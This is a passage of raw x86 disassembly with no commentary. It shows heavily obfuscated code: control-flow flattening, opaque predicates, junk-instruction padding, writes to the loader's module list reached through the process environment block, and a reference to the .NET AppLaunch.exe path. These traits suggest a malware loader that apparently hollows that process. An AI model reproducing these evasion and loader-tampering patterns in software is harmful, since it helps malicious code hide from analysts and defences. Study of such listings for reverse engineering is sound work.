or dl, al
xor ah, al
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and dl, cl
xor cl, 1
and ah, cl
or cl, al
or dl, ah
mov ch, cl
mov eax, 0xce373c33
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
not ch
mov edx, 0xce373c33
cmove eax, esi
test ch, 1
cmovne eax, edx
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x9cb24817
and edx, 0x634db7e8
or eax, edx
mov edx, eax
xor edx, 0x10b24813
xor eax, 0x634db7e8
mov esi, eax
and esi, 0xae091584
and edx, 0x51f6ea7b
or edx, esi
mov esi, ecx
not esi
and ecx, 0x51f6ea7b
or eax, esi
and esi, 0xae091584
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xf1207d8c
and eax, 0xedf8273
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xec30ee46
mov esi, ecx
and esi, 0x13cf11b9
or edx, esi
mov esi, eax
xor esi, 0xc108242
xor eax, 0xf1207d8d
or ecx, eax
and eax, 0x13cf11b9
and esi, 0xec30ee46
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov edx, ecx
xor edx, 0x589703c
mov eax, ecx
and eax, 0x4014030
and edx, ecx
not ecx
and ecx, 0x188300c
or eax, ecx
mov ecx, eax
xor ecx, 0x4004020
xor eax, 0xfbfebfcf
mov esi, eax
and esi, 0xc09312dd
and ecx, 0x5086020
or ecx, esi
mov esi, edx
not esi
and edx, 0x3f6ced22
or eax, esi
and esi, 0xc09312dd
or edx, esi
not eax
mov esi, 0x60d05e73
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4727ae26
and ecx, 0xb8d851d9
or eax, ecx
mov ecx, eax
xor ecx, 0x22e5612
xor eax, 0x10010000
and eax, 0x50818808
and ecx, 0xaf7e77f7
or ecx, eax
mov eax, ecx
xor eax, 0x800c57c5
xor ecx, 0x810008
and ecx, 0x2ff3203a
and eax, 0xd00cdfc5
or eax, ecx
xor eax, 0xd00cdfc5
setne cl
sete dl
cmp dword [0x504180], 0xa
setl ah
setge al
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
and cl, dl
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
mov ch, cl
or al, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
or al, dl
and ch, cl
mov edx, 0xaba8c534
mov cl, al
xor cl, ch
test al, al
mov eax, 0x60d05e73
cmovne eax, edx
test ch, ch
cmove eax, esi
test cl, cl
cmovne eax, edx
jmp 0x401ef0
inc eax
add ebx, 0x84
rol edx, 0x1e
rol eax, 0x4d
not ebx
neg eax
imul eax
dec edx
rcr eax, 0xc6
not edx
or ebx, 0x44
rcl ebx, 0x9e
bswap edi
rcr esi, 0xec
rcr eax, 0xe0
rcr edi, 0x39
sub edx, 0x63
neg eax
bswap eax
rcl ebx, 0x14
imul ebx
or edi, 0x1a
rcr ebx, 0x23
not esi
and esi, 0xd0
imul edi
add ebx, 0x26
sub esi, 0x84
bswap edi
bswap edi
rol edi, 0xf5
add edx, 0xdb
inc esi
rol edx, 0xbd
add eax, 0x9a
neg edx
rcr eax, 0x2e
sub edx, 0xb7
ror ebx, 0xb7
imul edi
add ebx, 0xf1
not ebx
neg edi
add ebx, 0xb7
neg ebx
inc esi
imul edx
dec eax
mov ebx, 0x19
rol eax, 0x81
mov esi, 0xe9
not esi
bswap edx
not eax
sbb ebx, 0xa9
dec edx
inc eax
mov ebx, 0x87
dec ebx
dec ebx
sbb edx, 0x74
not esi
rol edi, 0x8a
rcl edi, 0xd9
neg edi
not ebx
rcl edi, 0x5e
and ebx, 0x46
not eax
add edi, 0x85
imul edx
ror eax, 0xe3
dec edi
add eax, 0x13
not edi
and ebx, 0xd6
sbb edx, 0xa5
neg edi
and edx, 0x50
rcr ebx, 0xb7
mov esi, 0x9e
neg ebx
dec edx
dec eax
bswap edx
ror eax, 0x19
rcr edi, 0xe1
imul edi
neg edx
not esi
inc edx
neg eax
bswap edi
inc esi
and edx, 0x6c
neg edi
neg eax
bswap edx
dec edi
not ebx
ror eax, 0xaa
rol esi, 0x30
and edi, 0x97
neg edi
add esi, 0xac
or ebx, 0x27
and edx, 0xc0
bswap edx
and eax, 0xb6
neg edi
imul esi
not esi
add edi, 0xc0
neg ebx
add ebx, 0x96
sub eax, 0x42
imul esi
ror eax, 0xb5
add edx, 0x60
not esi
sub edi, 0xf7
sub esi, 0xc9
dec esi
bswap edx
inc edi
ror ebx, 0x65
dec esi
ror ebx, 0xce
imul edi
mov edi, 0x2e
dec edi
dec eax
or edx, 0x2a
rcl eax, 0x46
bswap ebx
or ebx, 6
or esi, 0x9b
mov edi, 0x59
rol ebx, 0xcb
rol esi, 0x88
ror ebx, 0x98
and eax, 0xf9
and esi, 0x89
mov eax, 0x80
rol edi, 0xf4
rcl edx, 0xd3
rcr ebx, 0x36
rcr ebx, 0x30
rol edi, 0xec
mov eax, 0x1b
mov eax, dword fs:[0x30]
mov dword [ebp - 0xac], eax
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x14]
dec esi
inc edi
not ebx
imul edx
and eax, 0x6e
sub edi, 0x47
dec edi
rcr edi, 0xc7
add edi, 0x87
not edi
and edx, 0x48
imul eax
rcl edi, 0xee
neg eax
dec edi
imul esi
not ebx
neg eax
ror eax, 0xd1
not edi
add ebx, 0x5d
not edi
not esi
neg ebx
mov esi, 0x3c
mov ebx, 0x34
not ebx
imul edx
sbb esi, 0xaa
bswap edi
rcr esi, 0x8e
bswap edx
rcr ebx, 0x4b
bswap ebx
imul eax
bswap ebx
inc edi
mov edi, 0xe7
inc edx
inc esi
inc esi
not edi
sub edi, 0x1c
rcl edi, 0xff
rol edi, 0xf1
imul edx
add edx, 0x47
inc edi
ror ebx, 0xca
add eax, 0xad
not eax
rcl ebx, 0x80
ror edx, 0xee
bswap esi
neg edx
rcr eax, 0x29
dec esi
neg edx
bswap ebx
dec edx
rcl ebx, 0x4c
or eax, 0xac
not esi
sub esi, 0xc2
rcr ebx, 0xf7
mov eax, 0xd2
rcr edx, 0xec
not edi
ror ebx, 0x7b
inc eax
imul esi
and eax, 0x6f
or ebx, 0xe4
add edx, 7
dec edx
dec edi
ror eax, 0x98
rcl edx, 0xd5
neg eax
sbb ebx, 0xd6
inc edx
rol eax, 0x3b
and eax, 0x7b
inc ebx
rcl esi, 0x71
not edi
not edx
and edi, 0x73
imul ebx
add edi, 0x52
not edi
add esi, 0xcd
and eax, 0x9c
sbb ebx, 0x15
rol ebx, 0x1d
or edx, 0x87
rcr ebx, 0x31
bswap edi
mov edx, 0x54
ror edi, 0xd7
dec edi
imul ebx
imul ebx
neg eax
not eax
neg esi
rcl esi, 0x97
bswap ebx
neg ebx
sbb esi, 0xa6
sbb eax, 0xdd
rol ebx, 8
not edi
neg edx
rcl edi, 0x21
neg edi
rcl eax, 0xa7
sbb edi, 3
and ebx, 0xa8
rol ebx, 0x24
bswap esi
rcl edx, 0xfe
dec eax
rcl ebx, 0xfd
and esi, 0xad
add eax, 0x68
or ebx, 0x23
bswap edx
imul edx
imul esi
dec edi
neg esi
bswap ebx
inc esi
rcl edi, 0x2b
dec esi
neg edx
or esi, 0x79
neg edx
ror edi, 0x15
imul edi
sbb esi, 0x85
rol esi, 0xa3
neg esi
bswap edx
dec eax
imul edx
imul edx
rcl eax, 0xf1
ror edi, 0xec
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x98]
mov edx, dword [ebp - 0xac]
mov dword [edx + 8], eax
mov dword [ecx + 0x10], eax
add ecx, 0x1c
mov dword [ebp - 0xac], ecx
bswap ebx
or esi, 0x28
imul eax
mov eax, 0x46
not edi
sbb ebx, 0x50
not esi
dec ebx
inc edx
dec esi
dec esi
sub eax, 0xe3
bswap esi
sub edx, 0xca
neg eax
or eax, 0x70
neg esi
bswap edi
bswap edi
inc esi
or esi, 0xac
bswap edi
bswap ebx
not edi
inc edx
not edx
and eax, 0xb0
bswap edx
bswap esi
sub edi, 0xdc
inc ebx
dec esi
and ebx, 0x68
inc edi
rol edx, 0xde
not edx
rcl edi, 0x46
neg ebx
neg ebx
not esi
bswap esi
sbb esi, 0x88
bswap esi
sbb edx, 0xdb
and edi, 0xeb
rcl edi, 0x71
not edx
or edx, 0x74
rol edi, 0xb8
rcr edx, 0xa9
inc esi
or ebx, 0x1b
rol esi, 0xd5
sbb eax, 0x35
sbb edi, 0x87
inc edx
rcl ebx, 0x4b
imul esi
sub ebx, 0x82
add edx, 0xed
dec eax
inc esi
ror edx, 0x8a
rcr ebx, 0xb1
not ebx
imul edx
ror eax, 0x3c
and eax, 0x71
dec edi
rol eax, 0xd4
not edi
or edi, 0xdd
add edi, 0x4a
add edx, 0xa5
and eax, 0x13
mov esi, 0xb9
bswap edx
rol eax, 0xf2
neg eax
not edi
sub edi, 0x43
rcl ebx, 0xf8
imul edx
and edi, 0xf6
sbb esi, 0x3e
or eax, 0xc9
add edi, 0xe
bswap eax
or eax, 0xc3
inc edi
imul edi
sub esi, 0xf5
inc ebx
bswap esi
imul eax
mov ebx, 0x85
ror edi, 0x27
inc eax
sub eax, 0x83
bswap edi
sub esi, 7
or edx, 0x2e
rcr eax, 0x19
rcr edi, 0x45
ror eax, 0x43
or esi, 0xd6
not esi
inc ebx
imul ebx
sub eax, 6
inc edx
sbb edi, 0xe5
neg edx
bswap edi
ror eax, 0xc0
sbb edx, 0x94
ror edi, 0x38
rcr eax, 0xc9
imul edi
not edi
neg ebx
or eax, 0x7b
neg esi
inc edx
sbb edx, 0xea
rcr edi, 0x86
mov ebx, 0xbf
or esi, 0xba
inc esi
neg eax
sub eax, 0x1b
imul esi
inc edx
rcr ebx, 0x49
neg esi
rol eax, 0x77
rcr edx, 0x6e
mov ebx, 0x1a
sub eax, 0x72
sub ebx, 0xb2
bswap edx
sbb eax, 0xb
not edi
rol ebx, 0xa8
not edi
rcl eax, 0x23
rcr eax, 0x25
sub edx, 0xd0
rcl eax, 0xce
imul edi
mov eax, 0x639ecd1d
jmp 0x401ef0
mov eax, dword [0x504184]
mov edi, 0x553bed9c
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0x536f0817
and edx, 0xac90f7e8
or ecx, edx
mov edx, ecx
xor edx, 0x40260014
xor ecx, 0xac90f7e8
mov esi, ecx
and esi, 0xb3d96c23
and edx, 0x4c2693dc
or edx, esi
mov esi, eax
not esi
and eax, 0x4c2693dc
or ecx, esi
and esi, 0xb3d96c23
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0xc0359adb
and ecx, 0xfc4ce77c
mov eax, esi
and esi, 0x3fca6524
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x3b31883
or ecx, esi
mov esi, edx
xor esi, 0xc0048258
xor edx, 0x3fca6525
or eax, edx
and edx, 0x3b31883
and esi, 0xfc4ce77c
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x58a6b69a
and edx, 0xa7594965
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa7594965
or eax, esi
and esi, 0x58a6b69a
or ecx, esi
not eax
mov esi, 0x32caaf82
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3ffe069
mov edx, ecx
and edx, 0xfc001f96
or eax, edx
xor eax, 0x3ffe069
or eax, ecx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x504180], 0xa
setge ah
setl dl
mov ch, ah
and cl, ah
and dl, al
or ch, al
or cl, dl
mov eax, 0x553bed9c
xor ch, 1
xor cl, ch
mov edx, ecx
cmovne eax, esi
not dl
test dl, ch
cmove eax, edi
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x401ef0
mov dword [ebp - 0x124], 0
mov eax, 0xcc5c518
jmp 0x401ef0
mov dword [ebp - 0xe4], 2
mov eax, 0x90eb44f6
jmp 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x38b8f988
mov esi, edx
and esi, 0xc7470676
and edx, 0x184f98bd
or esi, ecx
mov ecx, eax
or ecx, 0x38b8f988
and eax, 0xe7b06742
and ecx, 0x38b8f989
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0xda463048
and esi, 0x25b9cfb7
or ecx, esi
mov esi, ecx
xor esi, 0xc2443000
xor ecx, 0x25b9cfb7
mov edx, ecx
and edx, 0x39b349ea
and esi, 0xc64cb615
or esi, edx
mov edx, eax
xor edx, 0xc6002600
xor eax, 0x184f98bd
or ecx, eax
and eax, 0x39b349ea
and edx, 0xc64cb615
or edx, eax
not ecx
xor edx, esi
mov esi, 0x639ecd1d
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x504180], 0xa
setl ch
mov al, ch
or dl, ch
xor al, ah
xor dl, 1
mov cl, al
and al, ch
xor cl, 1
or al, dl
and cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and al, dl
or dl, ah
and ah, cl
or ah, al
mov ecx, edx
xor cl, ah
test ah, ah
mov eax, 0xa3ab2028
cmovne eax, esi
test dl, dl
mov edx, 0xa3ab2028
jmp 0x40a405
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0x8dcadedc
mov edx, eax
xor edx, 0x5209a301
and esi, 0x72352123
andn edx, eax, edx
or esi, ecx
mov eax, esi
mov ecx, esi
xor ecx, 0x72352123
xor esi, 0x203c8222
xor eax, 0x8dcadedc
and esi, ecx
and eax, 0xfffffffe
or edx, esi
mov esi, 0x997774b0
mov ecx, edx
not ecx
and edx, 0x7431df29
and ecx, 0x8bce20d6
or edx, ecx
xor edx, 0xd9c783d6
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x504180], 0xa
setge dl
or cl, dl
xor al, dl
mov ah, cl
mov edx, eax
not dl
not ah
and dl, cl
or cl, al
and al, ah
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x3a644ec7
cmovne eax, esi
test cl, cl
mov ecx, 0x3a644ec7
jmp 0x40b538
mov eax, 0x5a2986f0
mov dword [ebp - 0x9c], 1
jmp 0x401ef0
ror esi, 0x98
sub ebx, 0x25
sbb edx, 0xd7
ror edx, 0x10
rol ebx, 0xe3
not ebx
inc eax
rcr esi, 0xed
rol ebx, 0xf0
not edx
sbb edi, 0xd1
neg edi
neg esi
or esi, 0x7c
dec ebx
bswap edx
sbb edi, 0xf2
rol edi, 0x74
rcl ebx, 0x6b
rcr edi, 0xe3
rcl ebx, 0x9a
and edi, 6
or edx, 0x95
rol ebx, 0xc9
and eax, 0xb8
or edi, 0x3f
dec ebx
or edx, 0x87
inc edi
neg ebx
add esi, 0x9a
dec eax
rcl esi, 0xe
sbb edi, 0x73
not ebx
dec edi
neg edi
not esi
mov eax, 0x3d
ror edx, 0x76
sbb edx, 9
neg esi
rcl esi, 0x68
inc esi
ror ebx, 0xcc
mov edx, 0xbc
not edx
or eax, 0xa4
sbb eax, 0x85
rcr edx, 0x26
sbb eax, 0x36
dec edi
dec edx
imul edi
bswap edx
add edx, 4
sbb ebx, 0xa2
rcr esi, 0x3e
rcl ebx, 0xce
or eax, 0x4c
inc edi
imul edx
rol edx, 0x63
mov eax, 0xcb
rol ebx, 0x12
and esi, 0x1c
or eax, 0x4d
dec ebx
mov edi, 0xf7
not esi
mov eax, 0xf6
imul edx
not esi
not edi
dec esi
dec edx
bswap edi
add eax, 0x58
sbb eax, 0x23
rol edx, 0xf8
inc edi
inc ebx
add esi, 0x4e
bswap eax
ror ebx, 0xc8
rcl eax, 0xd6
rcl edx, 0xb2
not edx
or edi, 0x66
dec esi
add ebx, 0xe8
ror ebx, 0x5e
add edi, 0xdc
mov ebx, 0x55
neg esi
dec edi
neg eax
inc edx
ror ebx, 0x72
rol edx, 0x19
rcl ebx, 0x41
dec esi
not esi
rcr esi, 0x43
sub ebx, 0xd9
inc esi
ror edx, 0xca
and edi, 0x69
or edi, 0xa5
ror edx, 0xd1
not eax
or edi, 0xe6
ror edx, 0x8f
sub esi, 0xcc
inc edx
sub ebx, 0xa
rcl ebx, 0xe7
bswap eax
mov eax, 0xa9
sbb eax, 0xf
and edi, 0x2e
imul edx
sbb edi, 0xea
bswap edi
inc edx
bswap esi
dec ebx
sub edi, 0x22
bswap edx
inc esi
rcr eax, 0x6f
imul ebx
rol ebx, 0xc
bswap edx
not ebx
rol eax, 0x35
neg edi
ror edi, 0xdc
sub esi, 0x71
bswap ebx
add edi, 0x4c
dec esi
sbb edx, 0xf4
imul edx
bswap esi
sub edi, 8
bswap eax
sbb edx, 0x24
bswap edx
imul edi
mov dword [ebp - 0x9c], eax
mov eax, 0x3c321f22
jmp 0x401ef0
mov eax, dword [0x504184]
mov esi, 0xb5b753d0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6e20001
mov edx, eax
and edx, 0x10054002
and eax, 0xe918bffc
or ecx, edx
xor ecx, 0x6e20001
or eax, ecx
mov ecx, eax
mov edx, eax
not ecx
xor edx, 0x48877ff6
and eax, 0xfffffffe
and edx, 0x48877ff7
and ecx, 0xb7788008
or ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0xcf5f611d
mov ecx, eax
and ecx, 0x4b590105
and edx, eax
not eax
and eax, 0x84066018
or ecx, eax
xor ecx, 0x4b590105
or ecx, edx
not edx
and edx, 0x30a09ee2
and ecx, 0xcf5f611d
or ecx, edx
setne dl
sete ah
cmp dword [0x504180], 0xa
setge al
setl ch
mov cl, al
and ch, dl
xor cl, ah
mov dh, cl
and dh, al
and al, ah
or al, ch
xor dh, 1
xor al, 1
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xbb520ff9
cmovne eax, esi
test dl, 1
mov edx, 0xbb520ff9
jmp 0x40a405
mov eax, 0x8beebb04
jmp 0x401ef0
mov eax, 0x4d2eb10d
jmp 0x401ef0
vmovups ymm0, ymmword [0x44f1d8]
vmovups ymm1, ymmword [0x44f1c0]
mov eax, dword [ebp - 0x184]
vmovups ymm2, ymmword [0x44f1a0]
mov dword [ebp - 0x9c], eax
vmovups ymmword [ebp - 0x30], ymm0
vmovups ymmword [ebp - 0x48], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [ebp - 0x68], ymm2
vmovups ymmword [ebp - 0x88], ymm1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xa0]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xb8]
setne byte [eax]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xb8]
cmp byte [eax], 0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
setne byte [ebp - 0xd6]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xc83011a
mov esi, eax
and esi, 0xe0202820
and eax, 0x7e07485c
or edx, esi
mov esi, edx
xor esi, 0x83011a
xor edx, 0xf37cfee5
mov edi, edx
and edi, 0x2c045a24
and esi, 0xc0a3211a
or esi, edi
mov edi, ecx
xor edi, 0xeca3293a
and edi, ecx
and ecx, 0x81f8b7a3
mov ebx, edi
not ebx
and edi, 0xd3fba5db
or eax, ecx
or edx, ebx
and ebx, 0x2c045a24
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xd30f0c77
and esi, 0x2cf0f388
or edx, esi
mov esi, edx
xor esi, 0x3e04004c
xor edx, 0xc053dab3
mov edi, edx
and edi, 0x81f8b7a3
and esi, 0x7e07485c
or esi, edi
mov edi, 0x3db6123
xor eax, esi
mov esi, 0x13e72bd5
xor edx, eax
test edx, eax
setne cl
cmp dword [0x504180], 0xa
setge dl
mov eax, edx
or dl, cl
xor al, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or cl, dl
or al, ah
xor al, dl
mov edx, eax
xor dl, cl
not dl
test dl, 1
cmovne edi, esi
test cl, cl
mov esi, 0x3db6123
cmovne esi, edi
test al, 1
cmovne esi, edi
mov eax, esi
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x23cea410
mov edx, eax
and edx, 0xdc315bee
and eax, 0x6eabfe44
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
xor esi, 0x23cea410
and ecx, 0x915401bb
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x6eabfe44
mov edi, esi
and edi, 0x915401bb
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xfd4ef3b5
setne cl
cmp dword [0x504180], 0xa
mov eax, ecx
setge ch
setl dl
inc al
mov dh, al
and dh, cl
and cl, dl
xor dh, 1
mov ah, dh
or dh, al
xor ah, al
xor dh, 1
or dh, ah
mov bl, dh
mov ah, dh
xor bl, 1
and ah, bl
xor ah, 1
or ah, bl
xor ah, 1
or ah, dh
mov dh, ah
xor ah, 1
and ah, ch
and ch, al
or al, dl
and dh, dl
or ah, dh
or cl, ch
xor al, 1
mov edx, 0xfd87928b
or al, cl
xor ah, 1
mov cl, ah
or ah, al
xor cl, al
mov al, ah
xor al, cl
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0xfd87928b
cmovne eax, edx
jmp 0x40cc49
inc eax
add ebx, 0x84
rol edx, 0x1e
rol eax, 0x4d
not ebx
neg eax
imul eax
dec edx
rcr eax, 0xc6
not edx
or ebx, 0x44
rcl ebx, 0x9e
bswap edi
rcr esi, 0xec
rcr eax, 0xe0
rcr edi, 0x39
sub edx, 0x63
neg eax
bswap eax
rcl ebx, 0x14
imul ebx
or edi, 0x1a
rcr ebx, 0x23
not esi
and esi, 0xd0
imul edi
add ebx, 0x26
sub esi, 0x84
bswap edi
bswap edi
rol edi, 0xf5
add edx, 0xdb
inc esi
rol edx, 0xbd
add eax, 0x9a
neg edx
rcr eax, 0x2e
sub edx, 0xb7
ror ebx, 0xb7
imul edi
add ebx, 0xf1
not ebx
neg edi
add ebx, 0xb7
neg ebx
inc esi
imul edx
dec eax
mov ebx, 0x19
rol eax, 0x81
mov esi, 0xe9
not esi
bswap edx
not eax
sbb ebx, 0xa9
dec edx
inc eax
mov ebx, 0x87
dec ebx
dec ebx
sbb edx, 0x74
not esi
rol edi, 0x8a
rcl edi, 0xd9
neg edi
not ebx
rcl edi, 0x5e
and ebx, 0x46
not eax
add edi, 0x85
imul edx
ror eax, 0xe3
dec edi
add eax, 0x13
not edi
and ebx, 0xd6
sbb edx, 0xa5
neg edi
and edx, 0x50
rcr ebx, 0xb7
mov esi, 0x9e
neg ebx
dec edx
dec eax
bswap edx
ror eax, 0x19
rcr edi, 0xe1
imul edi
neg edx
not esi
inc edx
neg eax
bswap edi
inc esi
and edx, 0x6c
neg edi
neg eax
bswap edx
dec edi
not ebx
ror eax, 0xaa
rol esi, 0x30
and edi, 0x97
neg edi
add esi, 0xac
or ebx, 0x27
and edx, 0xc0
bswap edx
and eax, 0xb6
neg edi
imul esi
not esi
add edi, 0xc0
neg ebx
add ebx, 0x96
sub eax, 0x42
imul esi
ror eax, 0xb5
add edx, 0x60
not esi
sub edi, 0xf7
sub esi, 0xc9
dec esi
bswap edx
inc edi
ror ebx, 0x65
dec esi
ror ebx, 0xce
imul edi
mov edi, 0x2e
dec edi
dec eax
or edx, 0x2a
rcl eax, 0x46
bswap ebx
or ebx, 6
or esi, 0x9b
mov edi, 0x59
rol ebx, 0xcb
rol esi, 0x88
ror ebx, 0x98
and eax, 0xf9
and esi, 0x89
mov eax, 0x80
rol edi, 0xf4
rcl edx, 0xd3
rcr ebx, 0x36
rcr ebx, 0x30
rol edi, 0xec
mov eax, 0x1b
mov ecx, dword fs:[0x30]
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xac], eax
dec esi
inc edi
not ebx
imul edx
and eax, 0x6e
sub edi, 0x47
dec edi
rcr edi, 0xc7
add edi, 0x87
not edi
and edx, 0x48
imul eax
rcl edi, 0xee
neg eax
dec edi
imul esi
not ebx
neg eax
ror eax, 0xd1
not edi
add ebx, 0x5d
not edi
not esi
neg ebx
mov esi, 0x3c
mov ebx, 0x34
not ebx
imul edx
sbb esi, 0xaa
bswap edi
rcr esi, 0x8e
bswap edx
rcr ebx, 0x4b
bswap ebx
imul eax
bswap ebx
inc edi
mov edi, 0xe7
inc edx
inc esi
inc esi
not edi
sub edi, 0x1c
rcl edi, 0xff
rol edi, 0xf1
imul edx
add edx, 0x47
inc edi
ror ebx, 0xca
add eax, 0xad
not eax
rcl ebx, 0x80
ror edx, 0xee
bswap esi
neg edx
rcr eax, 0x29
dec esi
neg edx
bswap ebx
dec edx
rcl ebx, 0x4c
or eax, 0xac
not esi
sub esi, 0xc2
rcr ebx, 0xf7
mov eax, 0xd2
rcr edx, 0xec
not edi
ror ebx, 0x7b
inc eax
imul esi
and eax, 0x6f
or ebx, 0xe4
add edx, 7
dec edx
dec edi
ror eax, 0x98
rcl edx, 0xd5
neg eax
sbb ebx, 0xd6
inc edx
rol eax, 0x3b
and eax, 0x7b
inc ebx
rcl esi, 0x71
not edi
not edx
and edi, 0x73
imul ebx
add edi, 0x52
not edi
add esi, 0xcd
and eax, 0x9c
sbb ebx, 0x15
rol ebx, 0x1d
or edx, 0x87
rcr ebx, 0x31
bswap edi
mov edx, 0x54
ror edi, 0xd7
dec edi
imul ebx
imul ebx
neg eax
not eax
neg esi
rcl esi, 0x97
bswap ebx
neg ebx
sbb esi, 0xa6
sbb eax, 0xdd
rol ebx, 8
not edi
neg edx
rcl edi, 0x21
neg edi
rcl eax, 0xa7
sbb edi, 3
and ebx, 0xa8
rol ebx, 0x24
bswap esi
rcl edx, 0xfe
dec eax
rcl ebx, 0xfd
and esi, 0xad
add eax, 0x68
or ebx, 0x23
bswap edx
imul edx
imul esi
dec edi
neg esi
bswap ebx
inc esi
rcl edi, 0x2b
dec esi
neg edx
or esi, 0x79
neg edx
ror edi, 0x15
imul edi
sbb esi, 0x85
rol esi, 0xa3
neg esi
bswap edx
dec eax
imul edx
imul edx
rcl eax, 0xf1
ror edi, 0xec
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x98]
mov dword [ecx + 8], eax
mov ecx, dword [ebp - 0xac]
mov dword [ecx + 0x10], eax
bswap ebx
or esi, 0x28
imul eax
mov eax, 0x46
not edi
sbb ebx, 0x50
not esi
dec ebx
inc edx
dec esi
dec esi
sub eax, 0xe3
bswap esi
sub edx, 0xca
neg eax
or eax, 0x70
neg esi
bswap edi
bswap edi
inc esi
or esi, 0xac
bswap edi
bswap ebx
not edi
inc edx
not edx
and eax, 0xb0
bswap edx
bswap esi
sub edi, 0xdc
inc ebx
dec esi
and ebx, 0x68
inc edi
rol edx, 0xde
not edx
rcl edi, 0x46
neg ebx
neg ebx
not esi
bswap esi
sbb esi, 0x88
bswap esi
sbb edx, 0xdb
and edi, 0xeb
rcl edi, 0x71
not edx
or edx, 0x74
rol edi, 0xb8
rcr edx, 0xa9
inc esi
or ebx, 0x1b
rol esi, 0xd5
sbb eax, 0x35
sbb edi, 0x87
inc edx
rcl ebx, 0x4b
imul esi
sub ebx, 0x82
add edx, 0xed
dec eax
inc esi
ror edx, 0x8a
rcr ebx, 0xb1
not ebx
imul edx
ror eax, 0x3c
and eax, 0x71
dec edi
rol eax, 0xd4
not edi
or edi, 0xdd
add edi, 0x4a
add edx, 0xa5
and eax, 0x13
mov esi, 0xb9
bswap edx
rol eax, 0xf2
neg eax
not edi
sub edi, 0x43
rcl ebx, 0xf8
imul edx
and edi, 0xf6
sbb esi, 0x3e
or eax, 0xc9
add edi, 0xe
bswap eax
or eax, 0xc3
inc edi
imul edi
sub esi, 0xf5
inc ebx
bswap esi
imul eax
mov ebx, 0x85
ror edi, 0x27
inc eax
sub eax, 0x83
bswap edi
sub esi, 7
or edx, 0x2e
rcr eax, 0x19
rcr edi, 0x45
ror eax, 0x43
or esi, 0xd6
not esi
inc ebx
imul ebx
sub eax, 6
inc edx
sbb edi, 0xe5
neg edx
bswap edi
ror eax, 0xc0
sbb edx, 0x94
ror edi, 0x38
rcr eax, 0xc9
imul edi
not edi
neg ebx
or eax, 0x7b
neg esi
inc edx
sbb edx, 0xea
rcr edi, 0x86
mov ebx, 0xbf
or esi, 0xba
inc esi
neg eax
sub eax, 0x1b
imul esi
inc edx
rcr ebx, 0x49
neg esi
rol eax, 0x77
rcr edx, 0x6e
mov ebx, 0x1a
sub eax, 0x72
sub ebx, 0xb2
bswap edx
sbb eax, 0xb
not edi
rol ebx, 0xa8
not edi
rcl eax, 0x23
rcr eax, 0x25
sub edx, 0xd0
rcl eax, 0xce
imul edi
mov ecx, dword [0x504184]
mov dword [ebp - 0x184], eax
add dword [ebp - 0xac], 0x1c
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x843d4f06
mov edx, eax
not edx
and ecx, eax
or eax, 0x7bc2b0f9
and edx, 0x84094806
mov esi, eax
and esi, 0x42b68711
or edx, esi
mov esi, ecx
not esi
and ecx, 0xbd4978ee
or eax, esi
